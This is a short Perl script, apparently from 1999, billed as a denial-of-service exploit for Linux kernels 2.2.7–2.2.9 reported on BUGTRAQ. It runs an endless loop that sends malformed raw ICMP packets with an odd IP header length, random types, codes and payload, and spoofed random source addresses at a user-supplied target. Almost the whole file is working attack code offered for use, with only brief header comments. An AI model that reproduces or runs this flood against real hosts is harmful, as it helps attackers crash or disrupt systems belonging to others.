#!/usr/bin/perl
# DoS for Linux kernels from 2.2.7 to 2.2.9 reported in BUGTRAQ
# 06/01/99 by Piotr Wilkin <pwl@wotan.2slo.wav.pl> ( C source )
# An attacker has to be in same ethernet segment with victim 
# I did't test it

$| = 1;
require 'getopts.pl';
use Net::RawIP;
Getopts('t:');
die "Usage $0 -t <target>" unless $opt_t;
srand(time);
$i = 996;
$data .= chr(int rand(255)),$i-- while($i); 

$icmp = new Net::RawIP({
                        ip => {
                                 ihl => 6,
			         tot_len => 1024,
			         id => 1,
			         ttl => 255,
			         frag_off => 0,
			         daddr => $opt_t
                               },
			icmp => { 
			         id => 2650, 
				 data => $data 
				}
		       });
		       
for(;;){
 $j++;
 $icmp->set({
            ip => { saddr => 17000000 + int rand 4261000000 },
            icmp => { 
	             type => int rand(14),
	             code => int rand(10),
		     sequence => int rand(255)
	            }                                           
          });
 $icmp->send;
 print "b00m " unless $j%1000;	  
}


